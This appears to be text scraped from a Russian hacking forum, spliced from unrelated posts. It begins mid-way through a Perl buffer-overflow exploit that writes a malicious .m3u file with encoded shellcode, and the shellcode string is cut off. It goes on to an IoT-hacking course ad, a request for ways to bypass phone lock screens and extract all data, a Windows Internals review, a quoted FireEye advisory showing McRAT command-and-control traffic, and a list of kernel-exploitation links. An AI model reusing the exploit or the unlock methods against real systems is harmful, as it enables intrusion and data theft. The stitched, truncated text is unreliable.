"\xff\xe4"; #jmp esp
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
Сгенерированный m3u файл покажет нам, что шеллкод, на месте которого разрыв(сс), попадает ровно в EIP. (EIP = 0x000ffe7c = начало shellcode).
Заменим разрыв на реальный шеллкод (и заменим A-массив NOP’ами). (из шеллкода исключили символы: 0x00, 0xff, 0xac, 0xca)
Когда вы замените A-массив NOP’ами, у вас будет больше места для попадания в область шеллкода, и таким образом, jumpcode, который переходит через 188 позиций вперед (2 раза 5e), полностью себя оправдывает
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test6_jumping.m3u";
my $buffersize = 26013;
my $junk= "\x90" x 200;
my $nop = "\x90" x 50;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x3
Exploiting IoT Devices
Интернет вещей - одна из самых перспективных тенденций. Каждый месяц сотни тысяч интеллектуальных устройств подключаются к Интернету и у этих интеллектуальных устройствах существует ряд проблем с конфиденциальностью и безопасностью. К началу 2020 года, по оценкам, во всем мире будет от 25 до 35 миллиардов устройств IoT, однако безопасности устройства уделяется мало дополнительного внимания.
В этом курсе мы обсудим проблемы безопасности и конфиденциальности в устройствах IoT на двух разных уровнях, таких как прошивка, оборудование, Bluetooth и протоколы, и что произойдет, если организации оставят устройство IoT уязвимым.
Курс также продемонстрирует фактический взлом устройств IoT и выделит основные уязвимости, существующие в устройствах IoT.
Курс будет включать в себя практические возможности применения методов эксплуатации на реальных устройствах IoT, а не просто просмотр видео.
You must have at least 20 reaction(s) to view the content.
Пароль: xss.is
Нравится материал? - Поддержи лайком!
Привет, %юзернейм%.Сегодня речь пойдёт о теме обхода пароля, граф. ключа и
тому подобных моментов на платформах Android и IOS.
Всё что будет описано ниже есть в открытом доступе, попытаюсь навести максимум
линков.
*Просьба не обходить мимо и по возможности подкинуть любую информацию для изучения и развития знаний.
Итак задача: обойти екран блокировки (без потери даных с устройства) и/или
вытащить максимум возможной инфы.
Устройства и ОС : ВСЕ!!! Но Андрюша в приоритете.
Первым делом Гугл, и того ADB и бага с возможностью обойти пароль на андроид
5.х.(5.1.1)
Относительно андроид 5.х. Какобы если переполнить строку ввода пароля (либо
забить память) и открыть камеру то девайс каким то чудным образом пустит вас и
без пароля. Не проверял но звучит как развод.
![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2015%2F09%2F00248.jpg&hash=015361e7587e54f89275942086472064&return_error=1)
](https://xakep.ru/2015/09/16/android5-hack/)
В операционной системе Android 5.x обнаружена опасная уязвимость с повышением привилегий. Кто угодно способен без труда снять блокировку экрана, введя чрезмерно длинный пароль методом «копипаст».
![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2017%2F06%2Fxakep- favicon-93x93.png&hash=133fa43656be1765722fac39a9e3c87e&return_error=1) xakep.ru
ADB (Линк на вики https://en.wikipedia.org/wiki/Android_software_development#Android_Debug_Bridge),отладчик на ОС андроид, фича клас но... для експлуатации ее нужно подрубить, а для етого "естьееествнн" нужен пароль чтоб зайти в настройки и подрубить ее в режиме разраба.
Пройдя ещё пару кругов ада было найдено вот это.
](https://toolbox.iskysoft.com/android-unlock/software-to-unlock-android- pattern-without-losing-data.html)
Easily unlock your phone without a password! Follow our simple guide—no tech skills needed—to regain access effortlessly.
toolbox.iskysoft.com
5 способов(програм) обхода пароля.
dr.fone с андроидами полный ту-пи-чок онли с полной потерей данных но до
старенького айфон 5s его еврейские ручёнки дотянулись до непосредственно
екрана с кнопочкой оплатить. Дальше не тестировано.
Android Multi Tool (нет блин прогрмка хрен найди исходник нужной версии) пока
на етапе установки.
последующее пока не тестировано.
НЕКСТ
IOS
dr.fone уж больно много кричит что он магёт крякнуть айфоны до 8/8 plus,
непосредстенно сами 8/8 plus и выше но кто знает на сколько выше не понятно.
Так после моих странствий глубин форумов, по дикой случайности был найден тред
даже 2
Toolkit (checkra1n) ](https://codeby.net/threads/ios-13-5-1-jailbreak- poluchenie-dannyx-elcomsoft-ios-forensic-toolkit-checkra1n.74429/)
Поставленная задача довольно востребована - получение данных (документы, переписки - дело обычное - нужно ВСЁ) с iPhone OS version: 13.5.1 Способ с iPhone OS version: 13.5 "unc0ver" iOS 13.5 jailbreak получение данных Elcomsoft iOS Forensic Toolkit Для решения такой задачи вот с такой...
codeby.net
Toolkit (unc0ver) ](https://codeby.net/threads/ios-13-5-jailbreak-poluchenie- dannyx-elcomsoft-ios-forensic-toolkit-unc0ver.73738/)
Поставленная задача довольно востребована - получение данных (документы, переписки - дело обычное - нужно ВСЁ) с iPhone OS version: 13.5 Большинству своих знаний в области iOS я обязан Владимиру Каталову и блогу их компании Блог Элкомсофт (это не реклама, это факт, что elcomsoft лидер гонки с...
codeby.net
Две статьи о частичной или полной выгрузке данных с ИОС, и с линкамм на крутой jailbreak https://checkra.in/releases/ и также линк на этих ребят https://blog.elcomsoft.ru (продукты топ, но деньги тож...)
По мере продвижения в єтом плане буду дописывать и уведомлять всех про результаты.
ДА, ТАК ЧТО Я ПРОШУ. Я новичёк в этом но штука интересная хотелось бы спросить
у вас форумчани советы, возможные ссылки, либо просто вектор развития.
ЗАРАНЕЕ СПАСИБО.
Руссинович М. и Соломон Д. Внутреннее устройство Microsoft Windows: Windows Server 2003, Windows XP и Windows 2000. Мастер-класс. / Пер с англ. - 4-е изд.
Из предисловия:
Книга посвящена внутреннему устройству и алгоритмам работы основных компонентов операционной системы Microsoft Windows - Windows Server 2003, Windows XP и Windows 2000 - и файловой системы NTFS. Детально рассмотрены системные механизмы: диспетчеризация ловушек и прерываний, DPC, APC, LPC, RPC, синхронизация, системные рабочие потоки, глобальные флаги и др. Также описываются все этапы загрузки операционной системы и завершения ее работы. В четвертом издании книги больше внимания уделяется глубокому анализу и устранению проблем, из-за которых происходит крах операционной системы и ли из-за которых ее не удается загрузить (здесь не очень интересно, все способы давно были известны. А в остальном, ничего. -Прим. Great). Кроме того, рассматриваются детали реализации поддержки аппаратных платформ AMD x64 и Intel IA64. Книга состоит из 14 глав, словаря терминов и предметного указателя. Книга предназначена системным администраторам, разработчикам серьезных приложений и всем, кто хочет понять, как устроена операционная система Windows. (и хакерам . -Прим. Great)
Click to expand...
Я осилил почти всю, очень понравилось. Все устройство винды разложено по полочкам. Рекомендую тем, кто хорошо знает Си и кодит под винду. Насчет наличия электронного варианта я не в курсе.
зы. тему поместил сюда а не в Книги и мануалы, т.к. собственно книгу в электронном варианте я не предлагаю.
это совсем новое что-то или вариации?
[http://blog.fireeye.com/research/2013/02/y...zero- day-2.html](http://blog.fireeye.com/research/2013/02/yaj0-yet-another-java- zero-day-2.html)
2013.02.28
YAJ0: Yet Another Java Zero-DayThrough our Malware Protection Cloud (MPC), we detected a brand new Java zero-day vulnerability that was used to attack multiple customers. Specifically, we observed successful exploitation against browsers that have Java v1.6 Update 41 and Java v1.7 Update 15 installed.
Not like other popular Java vulnerabilities in which security manager can be disabled easily, this vulnerability leads to arbitrary memory read and write in JVM process. After triggering the vulnerability, exploit is looking for the memory which holds JVM internal data structure like if security manager is enabled or not, and then overwrites the chunk of memory as zero. Upon successful exploitation, it will download a McRAT executable (MD5: b6c8ede9e2153f2a1e650dfa05b59b99 as svchost.jpg) from same server hosting the JAR file and then execute it.
Figure 1. Example HTTP GET of the McRAT after the browser is successfully exploited, prior to the endpoint becoming fully compromised.
The exploit is not very reliable, as it tries to overwrite a big chunk of memory. As a result, in most cases, upon exploitation, we can still see the payload downloading, but it fails to execute and yields a JVM crash. When the McRAT successfully installs in the compromised endpoint as an EXE (MD5: 4d519bf53a8217adc4c15d15f0815993), it generates the following HTTP command and control traffic:
POST /59788582 HTTP/1.0
Content-Length: 44
Accept: text/html,application/xhtml+xml,application/xml,/
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 110.XXX.55.187
Pragma: no-cache4PdWXOD3Vlzg91Zc4PdWXOD3Vlzg91Zc4PdWXMP1RXw.
McRAT persists by writing a copy of itself as a DLL to (C:\Documents and Settings\admin\AppMgmt.dll) and performing the following registry modifications:
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AppMgmt\Parameters"ServiceDll" = C:\Documents and Settings\admin\AppMgmt.dll
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AppMgmt\Parameters"ServiceDll" = %SystemRoot%\System32\appmgmts.dll
This post was intended to serve as a warning to the general public. We have notified Oracle and will continue to work with Oracle on this in-the-wild discovery. Since this exploit affects the latest Java 6u41 and Java 7u15 versions, we urge users to disable Java in your browser until a patch has been released; alternatively, set your Java security settings to "High" and do not execute any unknown Java applets outside of your organization.
We will continue to update this blog as new information about this threat is found. FireEye would like to acknowledge and thank Hermes Bojaxhi and his team at CyberESI for their assistance in confirming this Java zero-day vulnerability.
Click to expand...
2014: "Android Hacker's Handbook" by Joshua J. Drake [[book](https://www.goodreads.com/book/show/17628293-android-hacker-s- handbook)]
2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani [[book](https://www.goodreads.com/book/show/9224826-a-guide-to-kernel- exploitation)] [materials]
[2021: "Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel"](https://www.willsroot.io/2021/08/corctf-2021-fire-of- salvation-writeup.html) [article] [[part2](https://syst3mfailure.io/wall-of- perdition)]
[2021: "Linux Kernel Exploitation Technique: Overwriting modprobe_path"](https://lkmidas.github.io/posts/20210223-linux-kernel-pwn- modprobe/) [article]
[2021: "Learning Linux Kernel Exploitation"](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn- part-1/) [article] [[part 2](https://lkmidas.github.io/posts/20210128-linux- kernel-pwn-part-2/)] [[part 3](https://lkmidas.github.io/posts/20210205-linux- kernel-pwn-part-3/)]
[2020: "Exploiting Kernel Races Through Taming Thread Interleaving"](https://i.blackhat.com/USA-20/Thursday/us-20-Lee-Exploiting- Kernel-Races-Through-Taming-Thread-Interleaving.pdf) [slides] [video]
2020: "Locating the kernel PGD on Android/aarch64" by Vitaly Nikolenko [article]
2020: "A Systematic Study of Elastic Objects in Kernel Exploitation" [paper] [video]
2020: "Exploiting Uses of Uninitialized Stack Variables in Linux Kernels to Leak Kernel Pointers" [slides] [paper] [video]
2020: "BlindSide: Speculative Probing: Hacking Blind in the Spectre Era" [paper]
[2020: "Linux Kernel Stack Smashing" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/02/linux-kernel-stack- smashing.html?m=1) [article]
[2020: "Structures that can be used in kernel exploits"](https://ptr- yudai.hatenablog.com/entry/2020/03/16/165628) [article]
[2019: "Hands Off and Putting SLAB/SLUB Feng Shui in Blackbox" by Yueqi (Lewis) Chen at Black Hat Europe](https://i.blackhat.com/eu-19/Wednesday/eu-19-Chen-Hands-Off-And- Putting-SLAB-SLUB-Feng-Shui-In-A-Blackbox.pdf) [slides] [code]
2019: "SLAKE: Facilitating Slab Manipulation for Exploiting Vulnerabilities in the Linux Kernel" by Yueqi (Lewis) Chen and Xinyu Xing [slides] [paper]
2019: "Exploiting Race Conditions Using the Scheduler" by Jann Horn at Linux Security Summit EU [slides] [video]
[2019: "Kepler: Facilitating Control-flow Hijacking Primitive Evaluation for Linux Kernel Vulnerabilities"](https://www.usenix.org/sites/default/files/conference/protected- files/sec19_slides_wu-wei.pdf) [slides] [video] [paper]
2019: "Leak kernel pointer by exploiting uninitialized uses in Linux kernel" by Jinbum Park [slides]
2018: "FUZE: Towards Facilitating Exploit Generation for Kernel Use-After- Free Vulnerabilities" [slides] [paper]
2018: "Linux Kernel universal heap spray" by Vitaly Nikolenko [article]
[2018: "Linux-Kernel-Exploit Stack Smashing"](https://web.archive.org/web/20190421131414/http://tacxingxing.com/2018/02/15/linux- kernel-exploit-stack-smashing/) [article]
[2018: "Entering God Mode - The Kernel Space Mirroring Attack"](https://hackernoon.com/entering-god-mode-the-kernel-space-mirroring- attack-8a86b749545f) [article]
2018: "Mirror Mirror: Rooting Android 8 with a Kernel Space Mirroring Attack" by Wang Yong at HitB [slides]
[2018: "KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features" by Wang Yong at BlackHat](https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking- Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf) [slides]
2018: "linux kernel pwn notes" [article]
2018: "Use of timer_list structure in linux kernel exploit" [article]
[2017: "Escalating Privileges in Linux using Fault Injection" by Niek Timmers and Cristofaro Mune](https://www.riscure.com/uploads/2017/10/escalating- privileges-in-linux-using-fi-presentation-fdtc-2017.pdf) [slides] [video] [paper]
[2017: "Kernel Driver mmap Handler Exploitation" by Mateusz Fruba](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap- exploitation-whitepaper-2017-09-18.pdf) [paper]
2017: "Linux kernel addr_limit bug / exploitation" by Vitaly Nikolenko [video]
2017: "The Stack Clash" by Qualys Research Team [article]
2017: "New Reliable Android Kernel Root Exploitation Techniques" [slides]
[2017: "Unleashing Use-Before-Initialization Vulnerabilities in the Linux Kernel Using Targeted Stack Spraying"](https://www- users.cs.umn.edu/~kjlu/papers/tss.pdf) [paper]
2017: "Breaking KASLR with perf" by Lizzie Dixon [article]
2017: "Linux kernel exploit cheetsheet" [article]
[2016: "Getting Physical Extreme abuse of Intel based Paging Systems" by Nicolas Economou and Enrique Nissim](https://cansecwest.com/slides/2016/CSW2016_Economou- Nissim_GettingPhysical.pdf) [slides]
[2016: "Linux Kernel ROP - Ropping your way to # (Part 1)" by Vitaly Nikolenko](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel- ROP---Ropping-your-way-to---(Part-1)/) [article] [exercise]
[2016: "Linux Kernel ROP - Ropping your way to # (Part 2)" by Vitaly Nikolenko](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel- ROP---Ropping-your-way-to---(Part-2)/) [article]
2016: "Exploiting COF Vulnerabilities in the Linux kernel" by Vitaly Nikolenko at Ruxcon [slides]
[2016: "Using userfaultfd" by Lizzie Dixon](https://blog.lizzie.io/using- userfaultfd.html) [article]
2016: "Direct Memory Attack the Kernel" by Ulf Frisk at DEF CON [video]
[2016: "Randomization Can't Stop BPF JIT Spray" by Elena Reshetova at Black Hat](https://www.blackhat.com/docs/eu-16/materials/eu-16-Reshetova- Randomization-Can%27t-Stop-BPF-JIT-Spray.pdf) [slides] [video] [[paper](https://www.blackhat.com/docs/eu-16/materials/eu-16-Reshetova- Randomization-Can%27t-Stop-BPF-JIT-Spray-wp.pdf)]
2015: "Kernel Data Attack is a Realistic Security Threat" [paper]
[2015: "From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel"](http://repository.root- me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20From%20collision%20to%20exploitation%3A%20Unleashing%20Use- After-Free%20vulnerabilities%20in%20Linux%20Kernel.pdf) [paper]
[2015: "Modern Binary Exploitation: Linux Kernel Exploitation" by Patrick Biernat](http://security.cs.rpi.edu/courses/binexp- spring2015/lectures/23/13_lecture.pdf) [slides] [exercise]
2013: "Hacking like in the Movies: Visualizing Page Tables for Local Exploitation" at Black Hat
[2013: "Exploiting linux kernel heap corruptions" by Mohamed Channam](http://resources.infosecinstitute.com/exploiting-linux-kernel-heap- corruptions-slub-allocator/) [article]
2012: "Writing kernel exploits" by Keegan McAllister [slides]
2012: "Understanding Linux Kernel Vulnerabilities" by Richard Carback [slides]
2012: "A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator" by Dan Rosenberg [paper]
[2012: "Attacking hardened Linux systems with kernel JIT spraying" by Keegan McAllister](https://mainisusuallyafunction.blogspot.ru/2012/11/attacking- hardened-linux-systems-with.html) [article] [code 1] [code 2]
[2012: "The Linux kernel memory allocators from an exploitation perspective" by Patroklos Argyroudis](https://argp.github.io/2012/01/03/linux-kernel-heap- exploitation/) [article]
2012: "The Stack is Back" by Jon Oberheide [slides]
2012: "Stackjacking" by Jon Oberheide and Dan Rosenberg [slides]
[2011: "Stackjacking Your Way to grsec/PaX Bypass" by Jon Oberheide](https://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to- grsec-pax-bypass/) [article]
2010: "Much ado about NULL: Exploiting a kernel NULL dereference" [article]
[2010: "Exploiting Stack Overflows in the Linux Kernel" by Jon Oberheide](https://jon.oberheide.org/blog/2010/11/29/exploiting-stack- overflows-in-the-linux-kernel/) [article]
[2009: "There's a party at ring0, and you're invited" by Tavis Ormandy and Julien Tinnes at CanSecWest](https://www.cr0.org/paper/to-jt-party-at- ring0.pdf) [slides]
2007: "Kernel-mode exploits primer" by Sylvester Keil and Clemens Kolbitsch [paper]
2007: "Attacking the Core : Kernel Exploiting Notes" [article]
2007: "The story of exploiting kmalloc() overflows" [article]
[2007: "Linux 2.6 Kernel Exploits" by Stephane Duverger](https://airbus- seclab.github.io/kernsploit/kernel_exploit_syscan07.pdf) [slides]
2005: "Large memory management vulnerabilities" by Gael Delalleau at CancSecWest [slides]
2005: "The story of exploiting kmalloc() overflows" [article]
2020: "Things not to do when using an IOMMU" by Ilja van Sprundel and Joseph Tartaro [video]
2020: "SELinux RKP misconfiguration on Samsung S20 devices" by Vitaly Nikolenko [article]
2020: "TagBleed: Breaking KASLR on the Isolated Kernel Address Space using Tagged TLBs" [paper]
[2020: "Weaknesses in Linux Kernel Heap Hardening" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel- heap.html) [article]
[2020: "An Analysis of Linux Kernel Heap Hardening" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/04/an-analysis-of-linux-kernel- heap.html) [article]
2020: "PAN: Another day, another broken mitigation" by Siguza [article]
2019: "KNOX Kernel Mitigation Bypasses" by Dong-Hoon You at PoC [slides]
[2017: "Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection" by Gal Beniamini](https://googleprojectzero.blogspot.com/2017/02/lifting-hyper-visor- bypassing-samsungs.html) [article]
[2016: "Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric"](https://web.archive.org/web/20171029060939/http://www.blackbunny.io/linux- kernel-x86-64-bypass-smep-kaslr-kptr_restric/) [article]
2016: "Practical SMEP bypass techniques on Linux" by Vitaly Nikolenko at KIWICON [slides]
2016: "Micro architecture attacks on KASLR" by Anders Fogh" [article]
[2016: "Breaking KASLR with Intel TSX" Yeongjin Jang, Sangho Lee and Taesoo Kim at Black Hat](https://www.blackhat.com/docs/us-16/materials/us-16-Jang- Breaking-Kernel-Address-Space-Layout-Randomization-KASLR-With-Intel-TSX.pdf) [slides] [video]
[2016: "Breaking KASLR with micro architecture" by Anders Fogh](https://dreamsofastone.blogspot.ru/2016/02/breaking-kasrl-with-micro- architecture.html) [article]
[2015: "Effectively bypassing kptr_restrict on Android" by Gal Beniamini](https://bits-please.blogspot.de/2015/08/effectively-bypassing- kptrrestrict-on.html) [article]
[2014: "ret2dir: Deconstructing Kernel Isolation" by Vasileios P. Kemerlis, Michalis Polychronakis and Angelos D. Keromytis at Black Hat Europe](https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir- Deconstructing-Kernel-Isolation-wp.pdf) [paper] [video]
2013: "A Linux Memory Trick" by Dan Rosenberg [article]
[2011: "SMEP: What is It, and How to Beat It on Linux" by Dan Rosenberg](http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to- beat-it-on-linux/) [article]
[2009: "Bypassing Linux' NULL pointer dereference exploit prevention (mmap_min_addr)"](http://blog.cr0.org/2009/06/bypassing-linux-null- pointer.html) [article]
[Project Zero bug reports](https://bugs.chromium.org/p/project- zero/issues/list?can=1&q=linux%20kernel&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary&cells=ids&sort=-id)
[2021: "Samsung S10+/S9 kernel 4.14 (Android 10) Kernel Function Address (.text) and Heap Address Information Leak"](https://ssd-disclosure.com/ssd- advisory-samsung-s10-s9-kernel-4-14-android-10-kernel-function-address-text- and-heap-address-information-leak/) [article] [CVE-TBD]
2021: "Linux Kernel /proc/pid/syscall information disclosure vulnerability" [article] [CVE-2020-28588]
[2021: "Spectre exploits in the "wild""](https://dustri.org/b/spectre- exploits-in-the-wild.html) [article]
2021: "VDSO As A Potential KASLR Oracle" by Philip Pettersson and Alex Radocea [article]
2020: "PLATYPUS: Software-based Power Side-Channel Attacks on x86" [paper]
2019: "CVE-2018-3639 / CVE-2019-7308 - Analysis of Spectre Attacking Linux Kernel ebpf" [article] [CVE-2018-3639, CVE-2019-7308]
2019: "From IP ID to Device ID and KASLR Bypass (Extended Version)" [paper]
[2018: "Kernel Memory disclosure & CANVAS Part 1 - Spectre: tips & tricks"](https://www.immunityinc.com/downloads/Kernel-Memory-Disclosure-and- Canvas_Part_1.pdf) [article] [Spectre]
[2018: "Kernel Memory disclosure & CANVAS Part 2 - CVE-2017-18344 analysis & exploitation notes"](https://www.immunityinc.com/downloads/Kernel-Memory- Disclosure-and-Canvas_Part_2.pdf) [article] [CVE-2017-18344]
[2018: "Linux kernel: CVE-2017-18344: arbitrary-read vulnerability in the timer subsystem" by Andrey Konovalov](https://www.openwall.com/lists/oss- security/2018/08/09/6) [announcement] [CVE-2017-18344]
2017: "Linux kernel 2.6.0 to 4.12-rc4 infoleak due to a data race in ALSA timer" by Alexander Potapenko [announcement] [CVE-2017-1000380]
2017: "The Infoleak that (Mostly) Wasn't" by Brad Spengler [article] [CVE-2017-7616]
[2016: "Exploiting a Linux Kernel Infoleak to bypass Linux kASLR"](https://marcograss.github.io/security/linux/2016/01/24/exploiting- infoleak-linux-kaslr-bypass.html) [article]
[2010: "Linux Kernel pktcdvd Memory Disclosure" by Jon Oberheide](https://jon.oberheide.org/blog/2010/10/23/linux-kernel-pktcdvd- memory-disclosure/) [article] [CVE-2010-3437]
[2009: "Linux Kernel x86-64 Register Leak" by Jon Oberheide](https://jon.oberheide.org/blog/2009/10/04/linux- kernel-x86-64-register-leak/) [article] [CVE-2009-2910]
[2009: "Linux Kernel getname() Stack Memory Disclosures" by Jon Oberheide](https://jon.oberheide.org/blog/2009/08/29/linux-kernel-getname- stack-memory-disclosures/) [article] [CVE-2009-3001]
[2021: "How a simple Linux kernel memory corruption bug can lead to complete system compromise" by Jann Horn](https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel- memory.html) [article] [CVE-TBD]
2021: "SuDump: Exploiting suid binaries through the kernel" by Itai Greenhut [article] [CVE-TBD]
2021: "CVE-2021-34866 Writeup" by HexRabbit [article] [CVE-2021-34866]
[2021: "Kernel Pwning with eBPF: a Love Story" by Valentina Palmiotti](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love- story) [article] [CVE-2021-3490]
2021: "The Art of Exploiting UAF by Ret2bpf in Android Kernel" by Xingyu Jin and Richard Neal [slides] [CVE-2021-0399]
2021: "Internal of the Android kernel backdoor vulnerability" [article] [CVE-2021-28663]
2021: "Escape from chrome sandbox to root" [article] [CVE-2020-0423]
2021: "CVE-2017-11176" by Maher Azzouzi [article] [CVE-2017-11176]
[2021: "Sequoia: A deep root in Linux's filesystem layer (CVE-2021-33909)" by Qualys Research Team](https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local- privilege-escalation-linux.txt) [article] [CVE-2021-33909]
[2021: "CVE-2021-22555: Turning \x00\x00 into 10000$" by Andy Nguyen](https://google.github.io/security- research/pocs/linux/cve-2021-22555/writeup.html) [CVE-2021-22555, article]
[2021: "Exploitation of a double free vulnerability in Ubuntu shiftfs driver (CVE-2021-3492)" by Vincent Dehors](https://www.synacktiv.com/publications/exploitation-of-a-double-free- vulnerability-in-ubuntu-shiftfs-driver-cve-2021-3492.html) [article] [CVE-2021-3492]
[2021: "CVE-2021-20226 a reference counting bug which leads to local privilege escalation in io_uring"](https://flattsecurity.medium.com/cve-2021-20226-a-reference- counting-bug-which-leads-to-local-privilege-escalation-in-io- uring-e946bd69177a) [article] [CVE-2021–20226]
[2021: "CVE-2021-32606: CAN ISOTP local privilege escalation"](https://github.com/nrb547/kernel- exploitation/blob/main/cve-2021-32606/cve-2021-32606.md) [article] [CVE-2021-32606]
[2021: "CVE-2021-3609: CAN BCM local privilege escalation"](https://github.com/nrb547/kernel- exploitation/blob/main/cve-2021-3609/cve-2021-3609.md) [article] [announcement] [CVE-2021-3609]
2021: "Blue Klotski (CVE-2021-3573) and the story for fixing" by f0rm2l1n [article] [announcement] [CVE-2021-3573]
[2021: "ZDI-20-1440: An Incorrect Calculation Bug in the Linux Kernel eBPF Verifier" by Lucas Leong](https://www.zerodayinitiative.com/blog/2021/1/18/zdi-20-1440-an- incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier) [article]
2021: "ZDI-20-1440 Writeup" by HexRabbit [article]
[2021: "SSD Advisory – OverlayFS PE"](https://ssd-disclosure.com/ssd-advisory- overlayfs-pe/) [article] [CVE-2021-3493]
2021: "[BugTales] A Nerve-Racking Bug Collision in Samsung's NPU Driver" by Gyorgy Miru [article] [CVE-2020-28343, SVE-2020-18610]
[2021: "CVE-2021-20226: A Reference-Counting Bug in the Linux Kernel io_uring Subsystem" by Lucas Leong](https://www.zerodayinitiative.com/blog/2021/4/22/cve-2021-20226-a-reference- counting-bug-in-the-linux-kernel-iouring-subsystem) [article] [CVE-2021-20226]
2021: "One day short of a full chain: Part 1 - Android Kernel arbitrary code execution" by Man Yue Mo [article] [GHSL-2020-375]
[2021: "New Old Bugs in the Linux Kernel"](https://blog.grimm- co.com/2021/03/new-old-bugs-in-linux-kernel.html) [article] [CVE-2021-27365, CVE-2021-27363, CVE-2021-27364]
2021: "Four Bytes of Power: exploiting CVE-2021-26708 in the Linux kernel" [article] [slides] [video] [CVE-2021-26708]
[2021: "Improving the exploit for CVE-2021-26708 in the Linux kernel to bypass LKRG" by Alexander Popov](https://a13xp0p0v.github.io/2021/08/25/lkrg- bypass.html) [article] [slides] [video]
2021: "CVE-2014-3153" by Maher Azzouzi [article] [CVE-2014-3153]
[2021: "The curious case of CVE-2020-14381"](https://blog.frizn.fr/linux- kernel/cve-2020-14381) [article] [CVE-2020-14381]
2021: "Galaxy's Meltdown - Exploiting SVE-2020-18610" [article] [CVE-2020-28343, SVE-2020-18610]
[2021: "In-the-Wild Series: Android Exploits" by Mark Brand](https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android- exploits.html) [article]
2021: "Exploiting CVE-2014-3153 (Towelroot)" by Elon Gliksberg [article] [CVE-2014-3153]
2021: "CVE-2014-3153" by Maher Azzouzi [article] [CVE-2014-3153]
[2020: "An iOS hacker tries Android" by Brandon Azad](https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries- android.html) [article] [CVE-2020-28343, SVE-2020-18610]
2020: "Exploiting a Single Instruction Race Condition in Binder" [article] [CVE-2020-0423]
2020: "Three Dark clouds over the Android kernel" by Jun Yao [slides] [CVE-2020-3680]
2020: "Kernel Exploitation With A File System Fuzzer" [slides] [video] [CVE-2019-19377]
2020: "Finding and exploiting a bug (LPE) in an old Android phone" by Brandon Falk [stream] [part 2] [summary]
2020: "CVE-2020-14386: Privilege Escalation Vulnerability in the Linux kernel" by Or Cohen [article] [CVE-2020-14386]
[2020: "Attacking the Qualcomm Adreno GPU" by Ben Hawkes](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm- adreno-gpu.html) [article] [CVE-2020-11179]
